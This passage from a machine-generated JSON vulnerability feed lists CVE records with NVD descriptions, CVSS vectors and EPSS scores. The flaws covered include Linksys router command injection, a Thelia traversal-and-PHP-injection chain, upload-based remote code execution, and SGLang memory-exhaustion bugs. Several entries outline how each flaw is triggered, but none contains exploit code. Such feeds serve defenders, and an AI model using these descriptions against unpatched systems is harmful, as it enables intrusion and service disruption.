CVE-2026-92877","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-92877","type":"primary","publishedAt":"2026-10-12T15:17:09.890Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-92877&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-92877, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-108896","cveId":"CVE-2026-108896","aliases":[],"kind":"vulnerability","title":"A vulnerability was found in Linksys E1700 1.0.0.4.003. This affects the function setLinksysIpv6 of the file /goform/setLinksysIpv6.","summary":"A vulnerability was found in Linksys E1700 1.0.0.4.003. This affects the function setLinksysIpv6 of the file /goform/setLinksysIpv6. The manipulation of the argument _6rd_prefix/_6rd_prefix_len results in os command injection. The attack can be launched remotely. The exploit has been made public and could be used. The vendor was contacted early about this disclosure but did not respond in any way.","detail":"A vulnerability was found in Linksys E1700 1.0.0.4.003. This affects the function setLinksysIpv6 of the file /goform/setLinksysIpv6. The manipulation of the argument _6rd_prefix/_6rd_prefix_len results in os command injection. The attack can be launched remotely. The exploit has been made public and could be used. The vendor was contacted early about this disclosure but did not respond in any way.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T15:17:07.423Z","updatedAt":"2026-10-15T16:17:39.187Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108896","asOf":"2026-10-15T16:17:39.187Z"},"epss":{"probability":0.02202,"percentile":0.82414,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-108896&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-108896","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108896","type":"primary","publishedAt":"2026-10-12T15:17:07.423Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-108896&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-108896, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-108895","cveId":"CVE-2026-108895","aliases":[],"kind":"vulnerability","title":"A weakness has been identified in Linksys E1700 1.0.0.4.003. The affected element is the function setDMZ of the file /goform/setDMZ.","summary":"A weakness has been identified in Linksys E1700 1.0.0.4.003. The affected element is the function setDMZ of the file /goform/setDMZ. Executing a manipulation of the argument MAC_addr can lead to os command injection. The attack can be executed remotely. The exploit has been made available to the public and could be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.","detail":"A weakness has been identified in Linksys E1700 1.0.0.4.003. The affected element is the function setDMZ of the file /goform/setDMZ. Executing a manipulation of the argument MAC_addr can lead to os command injection. The attack can be executed remotely. The exploit has been made available to the public and could be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T15:17:07.227Z","updatedAt":"2026-10-13T16:17:12.933Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108895","asOf":"2026-10-13T16:17:12.933Z"},"epss":{"probability":0.02202,"percentile":0.82414,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-108895&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-108895","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108895","type":"primary","publishedAt":"2026-10-12T15:17:07.227Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-108895&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-108895, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-108094","cveId":"CVE-2026-108094","aliases":[],"kind":"vulnerability","title":"A use-after-free flaw was found in mutter in the Wayland color-management ICC image-description path.","summary":"A use-after-free flaw was found in mutter in the Wayland color-management ICC image-description path. A local attacker who can run a malicious Wayland client can destroy a wp_image_description_v1 resource while an asynchronous ICC file read is still in progress. When the read completes, the compositor uses the freed wl_resource, writes into freed memory, and frees a pointer derived from that memory. This can crash the GNOME session and may allow arbitrary code execution within the compositor process.","detail":"A use-after-free flaw was found in mutter in the Wayland color-management ICC image-description path. A local attacker who can run a malicious Wayland client can destroy a wp_image_description_v1 resource while an asynchronous ICC file read is still in progress. When the read completes, the compositor uses the freed wl_resource, writes into freed memory, and frees a pointer derived from that memory. This can crash the GNOME session and may allow arbitrary code execution within the compositor process.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T15:17:07.080Z","updatedAt":"2026-10-15T16:33:26.290Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108094","asOf":"2026-10-15T16:33:26.290Z"},"epss":{"probability":0.00144,"percentile":0.03651,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-108094&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-108094","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108094","type":"primary","publishedAt":"2026-10-12T15:17:07.080Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-108094&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-108094, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-103535","cveId":"CVE-2026-103535","aliases":[],"kind":"vulnerability","title":"Thelia v2.6.1 contains path traversal and PHP code injection vulnerabilities in its translation editor that can be chained to achieve remote code execution.","summary":"Thelia v2.6.1 contains path traversal and PHP code injection vulnerabilities in its translation editor that can be chained to achieve remote code execution. The `item_name` parameter, used to build the translation file's write path, does not sanitize directory traversal sequences such as `../`. This enables an authenticated user with `UPDATE`-level permissions on `admin.configuration.language` to write files outside the expected `templates/` directory, including to web‑accessible paths. Separately, the translation‑writing logic does not escape `\\` in user‑supplied values, allowing inputs to break out of the PHP string literal and inject executable code into the translation file. Chained together, these flaws allow a malicious PHP file to be written to a web-accessible path and executed with the web‑server’s privileges.","detail":"Thelia v2.6.1 contains path traversal and PHP code injection vulnerabilities in its translation editor that can be chained to achieve remote code execution. The `item_name` parameter, used to build the translation file's write path, does not sanitize directory traversal sequences such as `../`. This enables an authenticated user with `UPDATE`-level permissions on `admin.configuration.language` to write files outside the expected `templates/` directory, including to web‑accessible paths. Separately, the translation‑writing logic does not escape `\\` in user‑supplied values, allowing inputs to break out of the PHP string literal and inject executable code into the translation file. Chained together, these flaws allow a malicious PHP file to be written to a web-accessible path and executed with the web‑server’s privileges.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T15:17:06.560Z","updatedAt":"2026-10-15T18:17:22.020Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-103535","asOf":"2026-10-15T18:17:22.020Z"},"epss":{"probability":0.01051,"percentile":0.64057,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-103535&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-103535","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-103535","type":"primary","publishedAt":"2026-10-12T15:17:06.560Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-103535&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-103535, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-103522","cveId":"CVE-2026-103522","aliases":[],"kind":"vulnerability","title":"In Thelia v2.6.0, the store banner upload feature performs insufficient filetype validation that relies exclusively on client‑supplied MIME types.","summary":"In Thelia v2.6.0, the store banner upload feature performs insufficient filetype validation that relies exclusively on client‑supplied MIME types. An attacker with administrative access can upload a PHP file disguised as an image to bypass validation and achieve remote code execution on the underlying server.","detail":"In Thelia v2.6.0, the store banner upload feature performs insufficient filetype validation that relies exclusively on client‑supplied MIME types. An attacker with administrative access can upload a PHP file disguised as an image to bypass validation and achieve remote code execution on the underlying server.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T15:17:05.690Z","updatedAt":"2026-10-13T13:51:00.250Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-103522","asOf":"2026-10-13T13:51:00.250Z"},"epss":{"probability":0.00584,"percentile":0.47633,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-103522&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-103522","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-103522","type":"primary","publishedAt":"2026-10-12T15:17:05.690Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-103522&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-103522, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-103521","cveId":"CVE-2026-103521","aliases":[],"kind":"vulnerability","title":"In Thelia v2.6.0, the document upload endpoint properly blocks the upload of executable file types, but the document update endpoint does not perform the same validation.","summary":"In Thelia v2.6.0, the document upload endpoint properly blocks the upload of executable file types, but the document update endpoint does not perform the same validation. An attacker with administrative Thelia permissions can exploit this vulnerability to upload arbitrary executable files, such as malicious PHP scripts, to achieve remote code execution on the underlying server.","detail":"In Thelia v2.6.0, the document upload endpoint properly blocks the upload of executable file types, but the document update endpoint does not perform the same validation. An attacker with administrative Thelia permissions can exploit this vulnerability to upload arbitrary executable files, such as malicious PHP scripts, to achieve remote code execution on the underlying server.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T15:17:05.503Z","updatedAt":"2026-10-13T13:51:00.250Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-103521","asOf":"2026-10-13T13:51:00.250Z"},"epss":{"probability":0.006,"percentile":0.48412,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-103521&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-103521","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-103521","type":"primary","publishedAt":"2026-10-12T15:17:05.503Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-103521&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-103521, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-18390","cveId":"CVE-2026-18390","aliases":[],"kind":"vulnerability","title":"Improper neutralization of special elements used in an OS command ('OS command injection') vulnerability in Ministry of Justice General Directorate of Information Technology UYAP...","summary":"Improper neutralization of special elements used in an OS command ('OS command injection') vulnerability in Ministry of Justice General Directorate of Information Technology UYAP Document Editor on Windows and Linux and Ministry of Justice General Directorate of Information Technology UYAP Document Editor on iOS allows OS Command Injection.\n\nThis issue affects UYAP Document Editor: before 5.4.20; UYAP Document Editor: before 5.4.21.","detail":"Improper neutralization of special elements used in an OS command ('OS command injection') vulnerability in Ministry of Justice General Directorate of Information Technology UYAP Document Editor on Windows and Linux and Ministry of Justice General Directorate of Information Technology UYAP Document Editor on iOS allows OS Command Injection.\n\nThis issue affects UYAP Document Editor: before 5.4.20; UYAP Document Editor: before 5.4.21.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T14:17:12.563Z","updatedAt":"2026-10-14T14:17:44.773Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-18390","asOf":"2026-10-14T14:17:44.773Z"},"epss":{"probability":0.00491,"percentile":0.4191,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-18390&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-18390","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-18390","type":"primary","publishedAt":"2026-10-12T14:17:12.563Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-18390&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-18390, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-12613","cveId":"CVE-2026-12613","aliases":[],"kind":"vulnerability","title":"Deserialization of untrusted data vulnerability in Ministry of Justice General Directorate of Information Technology UYAP Document Editor on Windows and Linux and Ministry of...","summary":"Deserialization of untrusted data vulnerability in Ministry of Justice General Directorate of Information Technology UYAP Document Editor on Windows and Linux and Ministry of Justice General Directorate of Information Technology UYAP Document Editor on MacOS allows Object Injection.\n\nThis issue affects UYAP Document Editor: before 5.4.20; UYAP Document Editor: before 5.4.21.","detail":"Deserialization of untrusted data vulnerability in Ministry of Justice General Directorate of Information Technology UYAP Document Editor on Windows and Linux and Ministry of Justice General Directorate of Information Technology UYAP Document Editor on MacOS allows Object Injection.\n\nThis issue affects UYAP Document Editor: before 5.4.20; UYAP Document Editor: before 5.4.21.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T14:17:12.423Z","updatedAt":"2026-10-14T14:17:44.287Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-12613","asOf":"2026-10-14T14:17:44.287Z"},"epss":{"probability":0.00252,"percentile":0.16525,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-12613&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-12613","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-12613","type":"primary","publishedAt":"2026-10-12T14:17:12.423Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-12613&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-12613, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109229","cveId":"CVE-2026-109229","aliases":[],"kind":"vulnerability","title":"SGLang through 0.5.21 contains a denial of service vulnerability that disables Pillow decompression bomb protection process-wide by setting Image.MAX_IMAGE_PIXELS to None in...","summary":"SGLang through 0.5.21 contains a denial of service vulnerability that disables Pillow decompression bomb protection process-wide by setting Image.MAX_IMAGE_PIXELS to None in NanoNemotronVLImageProcessor. Remote attackers can submit small, highly compressed images with huge dimensions to the generic image loader, exhausting worker memory during decoding.","detail":"SGLang through 0.5.21 contains a denial of service vulnerability that disables Pillow decompression bomb protection process-wide by setting Image.MAX_IMAGE_PIXELS to None in NanoNemotronVLImageProcessor. Remote attackers can submit small, highly compressed images with huge dimensions to the generic image loader, exhausting worker memory during decoding.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T14:17:12.257Z","updatedAt":"2026-10-13T16:17:14.440Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109229","asOf":"2026-10-13T16:17:14.440Z"},"epss":{"probability":0.00505,"percentile":0.42862,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109229&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109229","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109229","type":"primary","publishedAt":"2026-10-12T14:17:12.257Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109229&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109229, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109228","cveId":"CVE-2026-109228","aliases":[],"kind":"vulnerability","title":"SGLang through 0.5.21 contains a resource budget bypass vulnerability that allows remote attackers to override GLM-V video processing limits by supplying fps, max_frames,...","summary":"SGLang through 0.5.21 contains a resource budget bypass vulnerability that allows remote attackers to override GLM-V video processing limits by supplying fps, max_frames, max_tokens_per_frame and max_image_tokens in the video_url object. Attackers can set these values arbitrarily high so glm4v.py decodes every frame of high-resolution video at full size, exhausting worker memory and denying service.","detail":"SGLang through 0.5.21 contains a resource budget bypass vulnerability that allows remote attackers to override GLM-V video processing limits by supplying fps, max_frames, max_tokens_per_frame and max_image_tokens in the video_url object. Attackers can set these values arbitrarily high so glm4v.py decodes every frame of high-resolution video at full size, exhausting worker memory and denying service.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T14:17:12.087Z","updatedAt":"2026-10-14T18:17:33.200Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109228","asOf":"2026-10-14T18:17:33.200Z"},"epss":{"probability":0.00493,"percentile":0.42061,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109228&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109228","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109228","type":"primary","publishedAt":"2026-10-12T14:17:12.087Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109228&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109228, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109227","cveId":"CVE-2026-109227","aliases":[],"kind":"vulnerability","title":"SGLang through 0.5.21 contains an unbounded memory allocation vulnerability in preprocess_video in qwen_vl.py that decodes frames at full source resolution before applying...","summary":"SGLang through 0.5.21 contains an unbounded memory allocation vulnerability in preprocess_video in qwen_vl.py that decodes frames at full source resolution before applying max_pixels limits. 